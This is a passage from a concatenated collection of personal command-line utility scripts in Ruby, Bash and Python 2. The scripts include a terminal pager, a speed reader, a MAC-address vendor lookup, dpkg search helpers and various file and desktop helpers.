highlighted_line] pairs, printing them to the screen as they arrive, and each thread stopping once it hits the window boundary # - scrolling within the matches populates more matches # (requires a double-ended indexable queue) # # ------------------------- # TODONEs: # ------------------------- # # + Word wrap # + Scroll horizontally # + More efficient redraws # |- Use the scroll up/down sequences and set a scrollable region # |- Only update status bar if the visible portion of the screen doesn't change # \- Only apply throttle to status bar # require 'io/console' def debug(msg) $stderr.puts(msg.inspect) if $debug end class Numeric def clamp(range) if self < range.first range.first elsif self >= range.last if range.exclude_end? range.last - 1 else range.last end else self end end end class Pager attr_accessor :width, :height, :top, :bottom, :queue, :read_thread, :display_thread, :tail_mode def self.pipe IO.pipe do |r, w| pager = new(r) Thread.new { yield w } pager.page! end end def display_help_screen clear print %{ ------------------\r Help!!!\r ------------------\r \r Up/Down: Scroll vertically\r Left/Right: Scroll horizontally\r PgUp/PgDn: Scroll up/down by a page\r Space: Scroll down by a page\r Home/End: Scroll to beginning/end\r Ctrl-Left/Right: Scroll to beginning/end of line\r \r t: Toggle tail-mode\r w: Toggle wrapping of lines\r n: Toggle line numbers\r r: Refresh\r \r \r q: Quit\r \r ?/h/^h/^?: HELP!\r } # TODO: # # /: Search\r # ?: Search backwards\r # n: Next match\r # p: Previous match\r end def initialize(io, opts) @display_lock = Mutex.new @scrollback = [] @queue = Queue.new @termheight, @width = IO.console.winsize @pos = 0 @hpos = 0 @longest_line = 0 @io = io @max_fps = 45 @refresh_throttle = 1.0 / (@max_fps) @last_refresh = Time.now - @refresh_throttle @last_display_status_bar = Time.now - @refresh_throttle @tail_mode = opts[:tail_mode] @wrapped_scrollback = nil @height = @termheight - 1 pager = self @keymap = KeyMap.new do key(:up) { pager.scroll_output_up } key(:down) { pager.scroll_output_down } key(:left) { pager.scroll_right } key(:right) { pager.scroll_left } key(:pgup, ?b, ?u) { pager.pageup } key(:pgdown, ?n, ?d) { pager.pagedown } key(" ") { pager.pagedown } key(:home, "<") { pager.scroll_home } key(:end, ">") { pager.scroll_end } # key("/") { pager.searchmode } # key("n") { pager.next_match } # key("p") { pager.prev_match } key("t") { pager.toggle_tail_mode } key("w") { pager.toggle_wrap } key("n") { pager.toggle_line_numbers } key("r", "\C-r", "\r", "\f", "\C-l") { pager.clear; pager.refresh! } key("?", "h", "\C-/", "\C-?") { pager.toggle_help } # key( *("1".."9").to_a ) { |c| display.set_wpm c.to_i*100 } key("q", "Q", "\C-c") { raise KeyMap::Quit } always do |c| unless ["t", "?", "n", "h", "\b", "\u001F"].include? c pager.tail_mode = false # pager.refresh! end end # default { |c| puts "tty: #{c}\r" } end end class Config NAMED_KEYS = { :up => "\e[A", :down => "\e[B", :left => "\e[C", :right => "\e[D", :home => ["\eOH", "\e[1~", "\e[H"], :end => ["\eOF", "\e[4~", "\e[F"], :pgup => "\e[5~", :pgdown => "\e[6~", :ctrl_c => "\C-c" } attr_accessor :trie_root def initialize(&block) @trie_root = {} # Make sure ^C is defined key(:ctrl_c) { raise KeyMap::Quit } instance_eval(&block) end # # Add a command to the trie of input sequences # def key(*seqs, &block) seqs = seqs.flat_map { |seq| NAMED_KEYS[seq] || seq } seqs.each do |seq| level = @trie_root seq.each_char do |c| level = (level[c] ||= {}) end level[:handler] = block end end # # This block will be run if the key isn't defined. # def default(&block) if block_given? then @default = block else @default end end def always(&block) if block_given? then @always = block else @always end end end def spawn_reader_thread! @read_thread = Thread.new do @io.each_line { |line| @queue << line } # wait until the queue has been processed loop do break if @queue.empty? sleep 0.05 end refresh! end end def spawn_display_thread! @display_thread = Thread.new do refresh! loop do line = queue.pop @scrollback << line @longest_line = line.size if @longest_line < line.size if @tail_mode scroll_end else if line_count < height refresh else display_status_bar end end end end end def page! spawn_display_thread! spawn_reader_thread! hide_cursor # main loop (handle keyboard events) IO.console.raw { |io| @keymap.process(io) } show_cursor clear # done! end # # Terminal control sequences (reference: http://man7.org/linux/man-pages/man5/terminfo.5.html) # def clear print "\e[H\e[J" end def clear_line print "\e[2K" end def clear_eol print "\e[0K" end def move_to(row: 1, col: 1) print "\e[#{row};#{col}H" end def move_to_col(n) print "\e[#{n}H" end def move_to_row(n) move_to(row: n) end def move_to_bottom move_to_row(height-1) end def move_to_top move_to_row(1) end def hide_cursor print "\e[?25l" end def show_cursor print "\e[?25h" end # # Scroll the text up the screen # # scroll_forward ind sf scroll text up (P) ind=\n # parm_index indn SF scroll forward #1 lines (P) # def scroll_text(n) move_to_row(@termheight) clear_eol print "\n"*n end # # Scroll the text down the screen # # scroll_reverse ri sr scroll text down (P) ri=\eM # parm_rindex rin SR scroll back #1 lines (P) # def reverse_scroll_text(n) move_to_top print "\eM"*n end def percent pct = (bottom.to_f / line_count) * 100 "%0.1f%%" % pct end def top @pos end def bottom [line_count, @pos+(@height-1)].min end def end_pos [line_count - height, 0].max end def line_count scrollback.size end def scrollback if @wrap @wrapped_scrollback ||= @scrollback.map do |line| wrapmargin_r = width - 2 line.scan(/.{1,#{wrapmargin_r}}\b/) end.flatten else @scrollback end end def lines_on_screen(padded=true) range = top..bottom debug(lines_on_screen: range.size, range: range, lines: line_count) l = scrollback[range] || [] l += [""] * (height-l.size) if padded and l.size < height # debug(scrollback_size: l.size) l.zip(range) end def display(line, row: nil, num: nil) width = @width left = @hpos line.chomp! if @line_numbers num_width = line_count.to_s.size right = @hpos + (@width - num_width - 2) cropped = "#{num.to_s.rjust(num_width)}: #{line[left...right]}" else right = @hpos+@width cropped = line[left...right] end move_to_row(row) if row print cropped clear_eol end def move_pos(delta) prev_pos, @pos = @pos, (@pos+delta).clamp(0..end_pos) change = @pos - prev_pos # returns the actual number of rows moved debug(pos_moved: change) change end def move_hpos(delta) prev_hpos, @hpos = @hpos, (@hpos+delta).clamp(0...@longest_line) change = @hpos - prev_hpos # returns the actual number of columns moved debug(hpos_moved: change) change end # # Down arrow: page moves up (new lines added at bottom) # def scroll_output_down(n=1) n = move_pos(n) if n != 0 bottom_line = height-n+1 clear_status_bar scroll_text(n) move_to(row: bottom_line) debug(scrolled_up: n) lines_on_screen.last(n).each_with_index do |(line,num),i| display(line, row: bottom_line+i, num: num) end display_status_bar! end end # # Up arrow: page moves down (new lines added at top) # def scroll_output_up(n=1) n = move_pos(-n).abs if n != 0 move_to(row: 1) reverse_scroll_text(n) debug(scrolled_down: n) lines_on_screen.first(n).each_with_index do |(line,num), i| display(line, row: 1+i, num: num) end display_status_bar! end end def scroll_left(n=20) refresh! if move_hpos(-n) != 0 end def scroll_right(n=20) refresh! if move_hpos(n) != 0 end def scroll_home @pos = 0 refresh! end def scroll_end lines_from_end = line_count - bottom if lines_from_end < height scroll_output_down(lines_from_end) else @pos = end_pos refresh! end end def pageup scroll_output_up(height/2) end def pagedown scroll_output_down(height/2) end # # Refresh the display IMMEDIATELY! (threadsafe) # def refresh! @display_lock.synchronize do debug("refresh!") @last_refresh = Time.now # clear move_to_top lines_on_screen.each_with_index { |(line,num), i| display(line, row: i+1, num: num) } display_status_bar! end end def clear_status_bar move_to_row(@termheight) clear_eol end # # Display the status bar IMMEDIATELY! # def display_status_bar! move_to_row(@termheight) print "\e[37;1m" + "line: #{bottom+1}/#{line_count} (#{percent}), " + "col: #{@hpos} " + "#{"[TAIL] " if @tail_mode}" + "#{"[WRAP] " if @wrap}" + "(? = help)" + "\e[0m" clear_eol end # # Throttled versions of IMMEDIATE `refresh!` and `display_status_bar!` # (Methods with the exclamation mark happen instantly, while ones without are limited to @max_fps updates per second) # %w[refresh display_status_bar].each do |meth| class_eval %{ def #{meth} return if @help_mode delta = Time.now - @last_#{meth} if delta > @refresh_throttle #{meth}! @last_#{meth} = Time.now end end } end def toggle_help @help_mode = !@help_mode if @help_mode then display_help_screen else refresh! end end def toggle_tail_mode @tail_mode = !@tail_mode scroll_end refresh! end def toggle_line_numbers @line_numbers = !@line_numbers refresh! end def toggle_wrap @wrap = !@wrap @wrapped_scrollback = nil refresh! end end class KeyMap attr_accessor :config class Quit < Exception; end def initialize(&block) @config = Pager::Config.new(&block) end def process(input) level = config.trie_root # Read one character at a time from the input, and incrementally # walk through levels of the trie until a :handler is found, or # we hit a dead-end in the trie. loop do c = input.getc handler = nil if found = level[c] level = found if handler = level[:handler] level = config.trie_root end else handler = config.default level = config.trie_root end handler.call(c) if handler config.always.call(c) if config.always end rescue Quit # one of the key handlers threw a KeyMap::Quit end end if $0 == __FILE__ if $stdin.tty? and ARGV.empty? # show help puts DATA.read exit end flags, args = ARGV.partition { |arg| arg[/^-\w$/] } opts = {} flags.each do |flag| case flag when "-d" then $debug = true when "-t" then opts[:tail_mode] = true else $stderr.puts "Unrecognized option: #{flag}" end end case args.size when 0 # TODO: Use a PTY to avoid buffering pager = Pager.new($stdin, opts) when 1 pager = Pager.new(open(args.first), opts) else io = IO.popen(["c", *args], :err=>[:child, :out]) pager = Pager.new(io, opts) end pager.page! exit! end __END__ Usage: $ moar <file(s)> or $ command | moar <file_sep>#!/usr/bin/env ruby # encoding: UTF-8 ####################################################################################################### # -------------------------------------------------------------- # TurboReader Pro! (c) 2014 by <NAME> (<EMAIL>) # -------------------------------------------------------------- # Speed-read your favourite text files! # # (Based on principles outlined here: http://www.spritzinc.com/the-science/) # ####################################################################################################### require 'io/console' ####################################################################################################### class Words PUNCTUATION = /[\.\?,!:]/ MAX_WORD_SIZE = 20 # The point at which to center the word (in percent). # See: http://www.microsoft.com/typography/ctfonts/wordrecognition.aspx OPTIMAL_RECOGNITION_POINT = 0.30 attr_accessor :longest_word def initialize(filename) @pos = 0 text = File.read(filename) @words = text.split.select { |w| w =~ /[a-z]+/i }.map do |w| # break up very long words into: pi… …ece… …sof… …thew… …ord… if w.size > MAX_WORD_SIZE pieces = w.each_char.each_slice(MAX_WORD_SIZE).map { |piece| "…#{piece.join}…" } pieces[0] = pieces[0][1..-1] # remove … from beginning of first piece pieces[-1] = pieces[-1][0..-2] # remove … from end of last piece pieces else w end end.flatten @longest_word = @words.max_by(&:size).size # p @words.max_by(&:size) # show longest word end def make_pos_legal! @pos = [[0,@pos].max, @words.size-1].min # clamp to range end def next @pos += 1 make_pos_legal! current end def prev @pos -= 1 make_pos_legal! current end def first @pos = 0 current end def last @pos = @words.size-1 current end def current @words[@pos] end def current_punctuated? current =~ /#{PUNCTUATION}$/ end def current_orp (current.size * OPTIMAL_RECOGNITION_POINT).round end end ####################################################################################################### # ANSI codes: # http://en.wikipedia.org/wiki/ANSI_escape_code#CSI_codes class Display DEFAULTWPM = 600 MAXWPM = 4000 MINWPM = 100 def initialize(filename) @wpm = DEFAULTWPM @words = Words.new(filename) @width = @words.longest_word @paused = true @help = false @current_word = "" print_main_template first_word end #---------------------------------------------------------- def set_wpm(wpm) @wpm = [[wpm, MINWPM].max, MAXWPM].min # ensure wpm is between 100 and 4000 print_current_word end def increase_wpm(amount) set_wpm @wpm + amount end def decrease_wpm(amount) set_wpm @wpm - amount end def wpm_delay delay = 60.0/@wpm delay *= 2 if @words.current_punctuated? delay end #---------------------------------------------------------- def display_word(word) @current_word = word print_current_word end def next_word display_word @words.next end def prev_word display_word @words.prev end def first_word display_word @words.first end def last_word display_word @words.last end #---------------------------------------------------------- # TODO: Read the x,y positions from the status and # word lines from the terminal, so we don't have # to do all this gross relative positioning. def print_main_template extender = "─"*(@width-2) top_line = "───────┬─#{extender}" bottom_line = "───────┴─#{extender}" @template_center = 8 @word_area_size = top_line.size puts "========================================" puts " TurboReader PRO! Get ready to READ!" puts "==========(press ? for help)============" puts puts top_line puts puts bottom_line puts end def print_current_word wpm_indicator = paused? ? "(PAUSED!)" : "(#{@wpm} wpm)" word = (@current_word || "") padding = @width - word.size red_char_pos = @words.current_orp indent = @template_center - red_char_pos # Colorize the center character if word.size >= 2 word = word[0...red_char_pos] + "\e[31;1m" + word[red_char_pos] + "\e[0m" + word[red_char_pos+1..-1] end print "\e[3A\e[2K" # move to start of word area (3 lines up) and clear line print "\e[0G\e[#{indent}G" # move to position of word print word print "\e[#{@word_area_size+2}G#{wpm_indicator}" print "\e[3B\e[0G" # move down to status area end def show_message(message) print "\e[0G\e[K\e[F\e[K\e[E" # clear the status area print message print "\e[0G" end def toggle_help! @help = !@help if @help show_message "\e[F Q/^C = Quit | SPACE = Pause | Left/Right = Skip word | HOME/END = Start/End\e[E" + " Up/Down = Increase/decrease wpm by 50 | 1-9 = Set wpm to <n> * 100\e[0G" else # show_message "\e[E" show_message "" end end def paused? @paused end def pause! @paused = !@paused print_current_word end def quit! # quit show_message "Thank you for reading!\e[2S" exit end end ####################################################################################################### # A little DSL for defining keyboard commands class KeyMap attr_accessor :config #----------------------------------------------------------------- class Config NAMED_KEYS = { :up => "\e[A", :down => "\e[B", :left => "\e[C", :right => "\e[D", :home => "\eOH", :end => "\eOF", :pgup => "\e[5~", :pgdown => "\e[6~", } attr_accessor :trie_root def initialize(&block) @trie_root = {} instance_eval(&block) # Make sure ^C is defined @trie_root["\C-c"] ||= { handler: proc { exit } } end # # Add a command to the trie of input sequences # def key(*seqs, &block) seqs.each do |seq| if keycode = NAMED_KEYS[seq] seq = keycode end level = @trie_root seq.each_char do |c| level = (level[c] ||= {}) end level[:handler] = block end end # # This block will be run if the key isn't defined. # def default(&block) if block_given? @default = block else @default end end end #----------------------------------------------------------------- def initialize(&block) @config = Config.new(&block) end def process(input) level = config.trie_root # Read one character at a time from the input, and incrementally # walk through levels of the trie until a :handler is found, or # we hit a dead-end in the trie. loop do c = input.getc if found = level[c] level = found if handler = level[:handler] handler.call(c) level = config.trie_root end else config.default.call(c) if config.default level = config.trie_root end end end end ####################################################################################################### if $0 == __FILE__ if ARGV.empty? puts "Usage: turboread <filename.txt>" exit 1 end filename = ARGV.first unless File.exists? filename puts "Error: #{filename.inspect} not found." exit 2 end display = Display.new filename keymap = KeyMap.new do key(" ") { display.pause! } key(:up) { display.increase_wpm(50) } key(:down) { display.decrease_wpm(50) } key(:pgup) { display.increase_wpm(200) } key(:pgdown) { display.decrease_wpm(200) } key(:left) { display.next_word } key(:right) { display.prev_word } key(:home) { display.first_word } key(:end) { display.last_word } key( *("1".."9").to_a ) { |c| display.set_wpm c.to_i*100 } key( "0" ) { display.set_wpm 1000 } key("?", "/", "h") { display.toggle_help! } key("q", "Q", "\C-c") { display.quit! } default { |c| display.show_message " Unknown command: #{c}" } end #------------------------------------------------------ # thread1: handle keyboard events keyboard_thread = Thread.new do STDIN.raw do |input| keymap.process(input) end end #------------------------------------------------------ # thread2: read the text reading_thread = Thread.new do loop do display.next_word unless display.paused? sleep display.wpm_delay end display.quit! end #------------------------------------------------------ # Yield control of the program to the keyboard thread. keyboard_thread.join end <file_sep>#!/bin/bash if [ -f PKGBUILD ]; then makepkg --printsrcinfo > .SRCINFO else echo "Error: PKGBUILD not found" fi <file_sep>#!/usr/bin/env ruby %w[ resolv thread timeout ].each { |m| require m } cachefile = "#{ENV['HOME']}/.resolv.cache" #p [:cache, cachefile] if File.exists? cachefile @nscache = Marshal.load(File.read cachefile) else @nscache = {} end def parallel_lookup(ips) dns = Resolv::DNS.new print "* Resolving #{ips.size} ips." threads = [] ips.each do |ip| next if @nscache[ip] threads << Thread.new(ip) do |ip| begin timeout(6) { @nscache[ip] = dns.getname(ip).to_s } rescue Resolv::ResolvError, Resolv::ResolvTimeout, Timeout::Error @nscache[ip] = ip end print "." STDOUT.flush end end threads.each { |t| t.join } puts end def lookup(ip) unless @nscache[ip] begin @nscache[ip] = Resolv.getname(ip).strip rescue Resolv::ResolvError @nscache[ip] = ip end end @nscache[ip] end hosts = Hash.new{|h,k| h[k] = 0} ARGF.each do |line| host = line.split.first hosts[host] += 1 end parallel_lookup hosts.keys total = 0 hosts = hosts.sort_by { |ip, hits| @nscache[ip] } hosts.each do |ip, hits| puts "#{hits}\t#{@nscache[ip] || ip}" total += hits end puts "----------------------------------" puts "#{total}\thits" puts "#{hosts.size}\tunique hosts" open(cachefile, "w") { |f| f.write Marshal.dump(@nscache) } <file_sep>#!/usr/bin/env python2 from BitTorrent import bencode import os, sys fn = sys.argv[1] print "Reading", fn t = bencode.bdecode( open(fn).read() ) print "Setting private..." t['info']['private'] = 1 print "Making backup..." os.rename(fn, fn+".backup") print "Writing..." open(fn,"wb").write(bencode.bencode(t)) print "Done!" <file_sep>#!/usr/bin/env ruby CACHE_DIR = File.expand_path (ENV["XDG_CACHE_HOME"] || "~/.cache") + "/launch" BINARIES_FILE = File.join CACHE_DIR, "binaries.cached" FREQ_FILE = File.join CACHE_DIR, "frequencies.marshal" FREQ_BACKUP = FREQ_FILE + ".bak" unless File.exists? CACHE_DIR require 'fileutils' FileUtils.mkdir_p(CACHE_DIR) end ############################################################################### def freqs @freqs ||= if File.exists? FREQ_FILE begin open(FREQ_FILE, "rb") { |f| Marshal.load f.read } rescue => e p e puts "Restoring from backup" if File.exists? FREQ_BACKUP open(FREQ_BACKUP, "rb") { |f| Marshal.load f.read } rescue {} end end else {} end end def write_freqs File.rename(FREQ_FILE, FREQ_BACKUP) if File.exists? FREQ_FILE open(FREQ_FILE, "wb") { |f| f.write Marshal.dump(freqs) } end def sorted_bins(bins) best = freqs.sort_by {|k,v| -v }.map(&:first) if best.any? best + ["------------------"] + (bins - best) else bins end end def increment(bin) freqs[bin] ||= 0 freqs[bin] += 1 write_freqs end def remove_invalid_freqs(bins) require 'set' binset = Set.new(bins) initial_size = freqs.size freqs.delete_if { |k,v| not binset.include? k } write_freqs if freqs.size != initial_size end ############################################################################### if $0 == __FILE__ splitpath = ENV["PATH"].split(":") dmenu_options = '-l 20 -i -b -p "Launch:"' if not File.exists?(BINARIES_FILE) or system("stest", "-dqr", "-n", BINARIES_FILE, *splitpath) # if new files in path... bins = `stest -flx #{splitpath.join ' '} | sort -u | tee #{BINARIES_FILE}`.each_line.map(&:strip) # remove binaries from "freqs" that no longer exist remove_invalid_freqs(bins) else # result = `cat "#{BINARIES_FILE}" | dmenu #{dmenu_options}` bins = File.read(BINARIES_FILE).each_line.map(&:strip) end # p [:unsorted, bins[0..10]] bins = sorted_bins(bins) # p [:sorted, bins[0..10]] result = IO.popen("dmenu #{dmenu_options}", "w+") do |dmenu| dmenu.puts bins.join("\n") dmenu.close_write dmenu.read.strip end # p [:choice, result] unless $?.success? puts "aborted" exit end if result[0] == "." exec("term -H #{result[1..-1]}") else if bins.include? result increment(result) else puts "Error: binary #{result.inspect} not in path." end exec(result) end end<file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: gamma <gamma correciton value -- 1.3 is usually good>" else xgamma -gamma $1 fi <file_sep>#!/usr/bin/env ruby # encoding: utf-8 require 'dbm' ################################################################### CACHE_DIR = File.expand_path("~/.cache/oui") DB_FILE = File.join CACHE_DIR, "oui-database" CSV_URL = "http://standards-oui.ieee.org/oui/oui.csv" # CSV_URL = "oui.csv" ################################################################### # Utility functions ################################################################### def help! puts puts "Usage:" puts " oui [options] <mac address(es)...>" puts puts "Options:" puts " -u Update the IEEE database of OUI MAC addresses" puts " (from: #{CSV_URL})" puts end def db_exists? Dir["#{DB_FILE}*"].any? end def db_open(flags=DBM::READER) db = DBM.open(DB_FILE, 0666, flags) if block_given? result = yield db db.close result else db end end def backup(src) if File.exists? src counter = 1 dest = "#{src}.bak" while File.exists? dest counter += 1 dest = "#{src}.bak#{counter}" end puts " |_ database backed up to: #{dest.inspect}" File.rename(src, dest) end end ################################################################### # Patches ################################################################### module Enumerable def average any? ? reduce(:+) / size.to_f : 0 end end class Numeric # # Convert this number to a string, adding commas between each group of 3 digits. # # (The "char" argument is optional, and specifies what character to use in between # each group of numbers.) # def commatize(char=",") int, frac = to_s.split(".") int = int.gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1#{char}\\2" frac ? "#{int}.#{frac}" : int end def humanize_bytes if self < 1024 sprintf("%d bytes", self) elsif self < 1024 * 1000 # 1000kb sprintf("%0.1f kb", self.to_f / 1024) elsif self < 1024 * 1024 * 1000 # 1000mb sprintf("%0.3f mb", self.to_f / 1024 / 1024) else sprintf("%0.3f gb", self.to_f / 1024 / 1024 / 1024) end end end ################################################################### # Commands ################################################################### def update require 'csv' require 'http' puts "* Re-importing database..." puts " |_ source: #{CSV_URL.inspect}" backup(DB_FILE) db_open(DBM::NEWDB) do |db| response = HTTP.get(CSV_URL).body first_chunk = Time.now chunks = [] bytes_loaded = 0 while chunk = response.readpartial bytes_loaded += chunk.size # elapsed = now - last_update total_elapsed = Time.now - first_chunk rate = (bytes_loaded / total_elapsed) chunks << chunk # p elapsed: total_elapsed, chunk: chunk.size, rate: rate #, avg: avg_rate print "\e[1G |_ bytes loaded: #{bytes_loaded.commatize} (#{rate.humanize_bytes}/sec)\e[J" end puts # CSV.new(open(CSV_URL), :headers => :first_row).each.with_index do |row, n| CSV.parse(chunks.join, :headers => :first_row).each.with_index do |row, n| # MA-L,34F968,"ATEK Products, LLC",210 NE 10th Avenue Brainerd MN US 56401 type, hex, company, address = row.fields company.strip! if company address.strip! if address db[hex] = "#{company}\n#{address}" $stdout.print "\e[1G |_ records imported: #{n.commatize}\e[J" if n % 3 == 0 $stdout.flush end puts puts "* Done!" end end ################################################################### def lookup_macs(args) db_open do |db| args.map do |arg| prefix = arg.upcase.scan(/[0-9A-F]/).take(6).join if prefix.size < 6 $stderr.puts "* Error: #{arg} is too short -- must be at least 6 chars (3 hex bytes)" next end result = db[prefix] result && result.split("\n") end end end ################################################################### # Main ################################################################### if $0 == __FILE__ Dir.mkdir CACHE_DIR unless File.exists? CACHE_DIR # Help if ARGV.include? "-h" or ARGV.include? "--help" help! # Update elsif ARGV.include? "-u" update # No database elsif not db_exists? puts "You must first download the OUI database. Run 'oui -u'." exit 1 # No arguments elsif ARGV.empty? help! db_open { |db| puts "(OUI database currently has #{db.size} entries)" } # Display results else results = lookup_macs(ARGV) ARGV.zip(results).each do |arg, result| nicearg = arg.upcase.scan(/[0-9A-F\:\-]/).join if result company, address = result puts "#{nicearg} - #{company}" puts (" " * (nicearg.size+3)) + address if address else puts "#{nicearg} - not found" end end end end <file_sep>#!/bin/sh LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so skype <file_sep>#!/bin/bash if [ "$1" == "--help" ] || [ "$1" == "-h" ]; then opera-legacy --help | less exit fi (while true; do mitmproxy-opera; sleep 3; done) & opera-legacy "$@" kill `jobs -p` <file_sep>#!/bin/bash error() { if [ "$1" != "" ]; then echo "Error: $@"; echo; fi echo "usage: areacode <3-digit north american area code>" exit 1 } if [ "$1" == "" ]; then error "No area code supplied"; fi if [[ ! "$1" =~ ^[2-9][0-9]{2}$ ]]; then error "Area code must be a 3-digit number"; fi wp "Area code $1" <file_sep>#!/bin/bash unset CC CFLAGS CXX CXXFLAGS MAKE PARAMS CONFIGFILE=buildconfig PARAMS="" if [ -f $CONFIGFILE ] then echo "==================== Loading parameters... ======================" . $CONFIGFILE fi export CC CFLAGS CXX CXXFLAGS MAKE PARAMS echo "" echo " Procssors: $PROCESSORS" echo "" echo " ====== Parameters: ===========================" echo " CC=$CC" echo " CFLAGS=$CFLAGS" echo " CXX=$CXX" echo " CXXFLAGS=$CXXFLAGS" echo " MAKE=$MAKE" echo " PARAMS=$PARAMS" echo "" if [ -f configure ] then echo "============================ Configuring... ===============================" if ./configure $PARAMS then echo "============================ DONE! ==================================" else echo "===================== Configure failed! ========================" fi fi <file_sep>#!/usr/bin/env ruby require 'epitools' users = Path["/home/"].ls.map { |p| p.dirs.last }.sort logged_in = `users`.strip.split.sort.uniq puts users.map { |user| user.send(logged_in.include?(user) ? :light_green : :light_blue) }.join(", ".grey) <file_sep>#!/usr/bin/env ruby require 'rubygems' require 'epitools' USAGE = %{ usage: ds <pattern> | Find packages named like <pattern> ds -f <pattern> | Find files in packages named like <pattern> } def dpkg_search(pattern) header = "" no_matches_yet = true lesspipe do |less| IO.popen("dpkg -l", "r") do |dpkg| enum = dpkg.to_enum(:each) for line in enum header << line break if line[/^\+\+\+/] end for line in enum if line[pattern] if no_matches_yet less.puts header no_matches_yet = false end less.puts line.strip.highlight(pattern) end end end end end def dpkg_search_files(args, pattern) # oss-linux: /usr/lib/oss/include/internals/timestamp.h # linux-headers-2.6.35-23: /usr/src/linux-headers-2.6.35-23/Documentation/networking/timestamping/Makefile # libpam-modules: /lib/security/pam_timestamp.so # libpam-modules: /usr/share/man/man8/pam_timestamp_check.8.gz lesspipe(:wrap=>true) do |less| last_pkg = nil IO.popen("dpkg -S '#{args.join ' '}' | sort", "r") do |results| for line in results if line =~ /^(\S+): (.+)$/ pkg = $1 path = $2 if last_pkg != pkg less.puts pkg.light_blue + ":".light_black end less.puts "\t#{ path.highlight pattern }" last_pkg = pkg else puts line end end end end end opts, args = ARGV.partition{|arg| arg[/^-\w$/]} if args.empty? puts USAGE exit 1 end pattern = Regexp.new( "(" + args.map{|arg| Regexp.escape arg}.join("|") + ")", Regexp::IGNORECASE ) if opts.include? "-f" dpkg_search_files(args, pattern) else dpkg_search(pattern) end <file_sep>#!/bin/bash echo if [ "$1" == "" ]; then echo "=== Local fingerprint ===" echo ssh-keygen -lv -f /etc/ssh/ssh_host_rsa_key else HOST="$1" echo "=== Remote fingerprint for $HOST ===" echo t=$(tempfile) || exit if ssh-keyscan $HOST > $t; then ssh-keygen -lv -f $t fi rm $t fi <file_sep>#!/usr/bin/env ruby require 'epitools/minimal' PROCESS_NAME = "mosh-server" cmd = ["pgrep", "-u", ENV["USER"], PROCESS_NAME] if pids = run( *cmd ) pids = pids.split newest_pid = run( *[*cmd, "-n"] ).split old_pids = pids - newest_pid # p pids: pids, newest_pid: newest_pid, old_pids: old_pids if old_pids.any? puts "Killing #{old_pids.size} old #{PROCESS_NAME} instances..." run *["kill", *old_pids] end end <file_sep>#!/usr/bin/env ruby require 'epitools' TYPE_INFO = [ [:code, /\.(rb|c|c++|cpp|py|sh|nim|pl|awk|go|php|ipynb|lua)$/i, :light_yellow], [:image, /\.(jpe?g|bmp|png|gif)$/i, :green], [:video, /\.(mp4|mkv|avi|m4v|flv|webm|mov|mpe?g|wmv)$/i, :light_purple], [:music, /\.(mp3|ogg|m4a|aac)$/i, :purple], [:archive, /\.(zip|rar|arj|pk3|deb|tar\.(?:gz|xz|bz2)|tgz|pixz|gem)$/i, :light_yellow], [:config, /\.(conf|ini)$/i, :cyan], [:dotfile, /^\../i, :grey], [:data, /\.(json|ya?ml|h|sql)$/i, :yellow], [:sidecar, /\.(srt|idx|sub|asc|sig|log|vtt)$/i, :grey], [:doc, /(Makefile|CMakeLists.txt|README|LICENSE|LEGAL|TODO|\.(txt|pdf|md|rdoc|log|mk|epub|docx?))$/i, :light_white], ] def file_color(filename) TYPE_INFO.each do |type, regex, color| return color if filename =~ regex end :white end args = ARGV args << "." if args.empty? lesspipe do |less| # less = STDOUT args.each do |dir| unless dir == "." less.puts "<8>=== <11>#{dir} <8>====================".colorize less.puts end Dir.chdir(dir) do widest_author = 0 IO.popen(["git", "ls-files", "--with-tree=HEAD"]) do |files| files.each_line do |file| file.chomp! path_parts = file.split("/") basename = path_parts.pop dirs = path_parts color = file_color(basename) pretty_path = (dirs.any? ? "<9>#{dirs.join("/")}/" : "") + "<#{color}>#{basename}" IO.popen(["git", "log", "--pretty=format:%h%x09%an%x09%ai", "-1", "--", file]) do |io| hash, author, timestamp = io.read.chomp.split("\t") date = timestamp.split.first widest_author = [author.size, widest_author].max less.puts "<6>#{hash} <3>#{author.ljust(widest_author)} <7>#{date} #{pretty_path}".colorize end end end end less.puts end end <file_sep>#!/usr/bin/env ruby require 'fileutils' QUARTER_LABEL_REGEXP = /^((?:20|19)\d\d)-Q(\d)$/ class Time def quarter_label "#{year}-Q#{quarter}" end def quarter (month / 3.0).ceil end def quarter_date Time.new(year, quarter * 3) end end current_quarter = Time.now.quarter_date files = Dir["*"].reject { |fn| File.directory?(fn) and fn =~ QUARTER_LABEL_REGEXP } grouped = files.group_by { |fn| File.mtime(fn).quarter_date } # Move all the files to the appropriate directories grouped.sort.each do |date, files| next if date == current_quarter # skip files in this quarter dir = date.quarter_label Dir.mkdir(dir) unless File.directory? dir puts "#{dir}" files.each do |src| dest = File.join(dir, src) # puts "#{src} => #{dest}" puts " #{src}" # FileUtils.mv src, dest File.rename src, dest end puts end # Fix the modification times on the quarter directories Dir["*"].each do |fn| if File.directory?(fn) and fn =~ QUARTER_LABEL_REGEXP qdate = Time.new($1.to_i, $2.to_i * 3) unless File.mtime(fn) == qdate puts "* Changing mtime on #{fn} => #{qdate}" File.utime(File.atime(fn), qdate, fn) end end end <file_sep>#!/bin/bash dpkg-query -W --showformat='${Installed-Size;10}\t${Package}\n' | sort -k1,1n <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: rezip [options] <zip file(s)>" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end paths = ARGV.map(&:to_Path) ######################################################## paths.each do |path| unless path.exists? puts "* Skipping #{path} (not found)" next end tmp = path.with(path: "#{path}-rezipping") tmp.mkdir tmp.cd do if system("unzip", path.to_s) path.mv("#{path}.bak") system("zip", "-r", path.to_s, ".") else puts "* Error unzipping #{path}" end end FileUtils.rm_rf(tmp) end <file_sep>#!/usr/bin/env ruby require 'epitools' if ARGV.size == 2 a, b = ARGV puts (b.from_hms - a.from_hms).to_hms else puts "Usage: timediff [start time] [end time]" puts puts "Example:" puts " $ timediff 1:47 3:18" puts " 01:31" puts end <file_sep>#!/usr/bin/env bash request=${1:23} # Delete the first 23 characters request=${request//%2F//} # Replace %2F with / request=${request/&line=/:} # Replace &line= with : request=${request/&column=/:} # Replace &column= with : subl $request # Launch ST2 <file_sep>#!/usr/bin/env ruby require 'rubygems' require 'epitools' STYLEDESC = 